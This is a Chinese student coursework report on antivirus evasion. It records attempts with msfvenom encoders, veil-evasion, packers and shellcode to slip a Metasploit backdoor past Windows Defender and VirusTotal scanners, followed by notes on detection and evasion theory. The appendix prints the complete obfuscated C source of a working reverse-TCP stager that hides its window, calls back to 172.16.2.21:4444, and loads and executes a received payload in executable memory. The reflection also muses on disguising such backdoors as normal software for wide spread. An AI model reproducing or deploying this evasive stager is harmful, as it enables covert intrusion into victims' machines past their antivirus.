Exp3 免杀原理与实践
20155332《网络对抗》Exp3 免杀原理与实践
1.实验环境
- 联想台式机一台,安装有win10系统 ,作为靶机进行实测
- 安装的kali虚拟机,作为攻击机
- kali虚拟机安装有veil-evasion(听说安装过程比较复杂,但我直接用
apt-get install veil-evasion
就装好了). - win10系统有windows Defender作为杀软.
- 检测网站是VIrsucan.
2.实践内容
-
2.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
-
2.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 2.3 用另一电脑实测,在杀软开启的情况下,可运行并!回连成功,注明电脑的杀软名称与版本(1分)
3.实验步骤
3.1 MSF编码器
上次实验的那个原生态的后门,在Virsucan网站被无情围剿。如果杀毒软件连这个都杀不了,那黑客也太好当了。
那我们加一个编码器试试吧,解释一下四个参数
-p 设置payload,攻击载荷。就是说明我们想攻击的系统是什么。
-e 编码方式
-b 规避坏字符
-f 最后生成的是什么格式的文件
效果也不是很好。
3.2 veil-evasion
这安装工具的安装方法参考
veils安装指南
进入veil,产生一个bat脚本。
用windows Defener查杀,没有任何问题,我对如此顺利的结果表示怀疑,难道免杀如此简单?
这个机会不能错过,赶快监听一波
3.3 shellcode
shellcode刚编译成功,系统就报警了,看来伪装的不够好。
3.4 Upx加壳,Hyperion加壳
加壳后,从虚拟机复制到win10的时候,就被发现是病毒了,这个壳可能是透明的,一下就被看穿了。
3.5 shellcode变形
此方法就是用编码器对shellcode进行编码,还是被WIndowsDefener封杀了。
3.6 自行编译Veil生成的源码
复制到win10中进行编译,用cmd打开minGW的GCC编译器进行编译。
Windows Defender请求扫描刚生成的EXE,我想,让你扫描吧,大不了我再换种方法。遗憾的是,扫描结果为安全,我有什么办法呢。
趁热打铁,那我放到网上测试一波。恍恍惚惚,7/65,只有7个杀毒软件识别为病毒,我自己编译的后门就这样瞒天过海了,有点小激动。
然后用windows Defender查杀,结果是安全的。
在win10运行一下,Windows Defender 也没有发现异常。kal很快i就连上了
4.报告内容:
4.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
-
1.静态特征码查杀概念
从病毒体中提取的病毒特征码,逐个与程序文件比较。特征码是反病毒公司在分析病毒时,确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别开来。
-
2.启发式查杀
启发式查杀是虚拟机引擎和行为检测相结合,通过模拟执行, 分析程序行为的安全检测技术。
病毒和正常程序的区别可以体现在许多方面,比较常见的如:通常一个应用程序在最初的指令,是检查命令行输入有无参数项、清屏和保存原来屏幕显示等,而病毒程序则没有会这样做的,通常它最初的指令是直接写盘操作、解码指令,或搜索某路径下的可执行程序等相关操作指令序列。这些显著的不同之处,一个熟练的程序员在调试状态下只需一瞥便可一目了然。启发式代码扫描技术实际上就是把这种经验和知识移植到一个查病毒软件中的具体程序体现。
如果一个软件做的事和恶意代码一样,那么认为这样的程序是恶意代码,用自己的话概括就是:宁可杀错,不可放过
-
3.云查杀
云安全机制是一种新兴的安全查杀机制,不同的安全厂商的云安全查杀机制不一样。基于云共享特征库扫描机制360 安全卫士,电脑管家,基于主动防御信誉云的扫描机制 。
(2)免杀是做什么?
简单的说,免杀,就是避免被杀。
具体一点,免杀就是让杀毒软件查不出恶意代码。专业一点,就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
(3)免杀的基本方法有哪些?
如何绕过静态查杀?
1 动态调用 API
2 代码混淆技术
3 底层API替代调用
4 加壳保护
如何突破启发式?
1 内存载入解析技术 2 模块二次载入技术 3 模块劫持和白名单 4 白名单进程 5 功能模块分离 6 代码注入 7 正常软件行为模拟
如何突破云查杀?
1 降低本地文件行为危险等级; 2 白名单机制; 3 文件体积膨胀;
4.2.实践总结与体会
我原来以为杀毒软件是万能的,又能杀毒,又能清理垃圾,还能给系统打补丁,好厉害,好神奇,简直是万能的。现在想想,仅仅依靠杀毒软件是万万不能的。杀软查不出的病毒还是很多的,比如我们这次实验做的后门……大多数同学都达到了免杀的效果。主要是自己不能乱下载来源不明的东西,不能轻易相信别人的U盘。做好主机的保护,首先不给病毒进入电脑的机会,其次才是查杀电脑里的病毒。
4.3.离实战还缺些什么技术或步骤?
1.不能控制公网的主机。
很明显我的后门只能在局域网使用。如果别人和我不在一个网段,我就无能为力了。所以,想窃取点信息什么的,基本没戏。
2.不能大范围渗透。
我的后门只能依靠拷贝来传播,这样很效率太低了,而且很容易被发现。还是合成到某个常用的应用程序里,伪装成正常的软件,让大家下载使用,这才是真正的后门。
附录
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char* zEHdmMza(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\0'; return result; }
char* UWrUOItcH(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\0'; return t2; }
void WEmNTlr() {WORD PohvbK = MAKEWORD((2*1+0), (2*1+0)); WSADATA fNdgibEfMhOVBRZ;if (WSAStartup(PohvbK, &fNdgibEfMhOVBRZ) < 0) { WSACleanup(); exit(1);}}
char* orDXSozjOHGbRvj(){ char lOlMtqdvCyJvgh[7844], XINcUZENitFo[7844/2]; strcpy(lOlMtqdvCyJvgh,"TfNgaMgNsolzjfEvBwmKEMLruzPmOwKsicYOqxtojAmrDUYpgk"); strcpy(XINcUZENitFo,"iIBEpwwQOsQcNTiVTWdXRuixIMUJWdKKLVZlJgokgUNKwULssq"); return UWrUOItcH(strcat( lOlMtqdvCyJvgh, XINcUZENitFo)); }
void eTPexPqYiKxF(SOCKET pBBfHTDs) {closesocket(pBBfHTDs);WSACleanup();exit(1);}
char* bOVXbWrhRapwGZG() { char fkHWUVRVMBuk[7844] = "xFMXorfPEflsxAnqpfArCeEiJmbpyjzPkQOtfWpKajPONGsppp"; char *kHAMqrqgt = strupr(fkHWUVRVMBuk); return strlwr(kHAMqrqgt); }
int NqHuwUNhrJbliQw(SOCKET IAbOCXWeco, void * dXfsDEwwK, int cWCnDcNDcadCkW){int slfkmklsDSA=0;int rcAmwSVM=0;void * startb = dXfsDEwwK;while (rcAmwSVM < cWCnDcNDcadCkW) {slfkmklsDSA = recv(IAbOCXWeco, (char *)startb, cWCnDcNDcadCkW - rcAmwSVM, 0);startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;if (slfkmklsDSA == SOCKET_ERROR) eTPexPqYiKxF(IAbOCXWeco);} return rcAmwSVM; }
char* tkjcDeawhCvdv(){ char *rQjTAe = zEHdmMza("qKybxoVpNenJZltcloNxIsqPTNxzvrSgjYkUMBsilcOVOBzwfb"); return strstr( rQjTAe, "N" );}
SOCKET YjyMOHHZXkgw() { struct hostent * iuPGysX; struct sockaddr_in eWLoFfCGByNAjb; SOCKET XCmQvron;XCmQvron = socket(AF_INET, SOCK_STREAM, 0);if (XCmQvron == INVALID_SOCKET) eTPexPqYiKxF(XCmQvron);iuPGysX = gethostbyname("172.16.2.21");if (iuPGysX == NULL) eTPexPqYiKxF(XCmQvron);memcpy(&eWLoFfCGByNAjb.sin_addr.s_addr, iuPGysX->h_addr, iuPGysX->h_length);eWLoFfCGByNAjb.sin_family = AF_INET;eWLoFfCGByNAjb.sin_port = htons((153*29+7));if ( connect(XCmQvron, (struct sockaddr *)&eWLoFfCGByNAjb, sizeof(eWLoFfCGByNAjb)) ) eTPexPqYiKxF(XCmQvron);return XCmQvron;}
int main(int argc, char * argv[]) {ShowWindow( GetConsoleWindow(), SW_HIDE );ULONG32 CzIQYmzQqYH;char * irLdgEDHmFT;int i;char* fCWGuAPrFJiMzr[1852];void (*ymruLxVUW)();for (i = 0; i < 1852; ++i) fCWGuAPrFJiMzr[i] = malloc (8772);WEmNTlr();char* vABmQT[6724];SOCKET KbhgtHYviCTSU = YjyMOHHZXkgw();for (i = 0; i < 6724; ++i) vABmQT[i] = malloc (8479);int xHqATxtd = recv(KbhgtHYviCTSU, (char *)&CzIQYmzQqYH, (4*1+0), 0);if (xHqATxtd != (4*1+0) || CzIQYmzQqYH <= 0) eTPexPqYiKxF(KbhgtHYviCTSU);irLdgEDHmFT = VirtualAlloc(0, CzIQYmzQqYH + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);char* GUQnFwRVzocu[380];for (i=0; i<1852; ++i){strcpy(fCWGuAPrFJiMzr[i], orDXSozjOHGbRvj());}if (irLdgEDHmFT == NULL) eTPexPqYiKxF(KbhgtHYviCTSU);irLdgEDHmFT[0] = 0xBF;memcpy(irLdgEDHmFT + 1, &KbhgtHYviCTSU, (4*1+0));for (i = 0; i < 380; ++i) GUQnFwRVzocu[i] = malloc (9299);for (i=0; i<6724; ++i){strcpy(vABmQT[i], bOVXbWrhRapwGZG());}xHqATxtd = NqHuwUNhrJbliQw(KbhgtHYviCTSU, irLdgEDHmFT + (2*2+1), CzIQYmzQqYH);ymruLxVUW = (void (*)())irLdgEDHmFT;ymruLxVUW();for (i=0; i<380; ++i){strcpy(GUQnFwRVzocu[i], tkjcDeawhCvdv());}return 0;}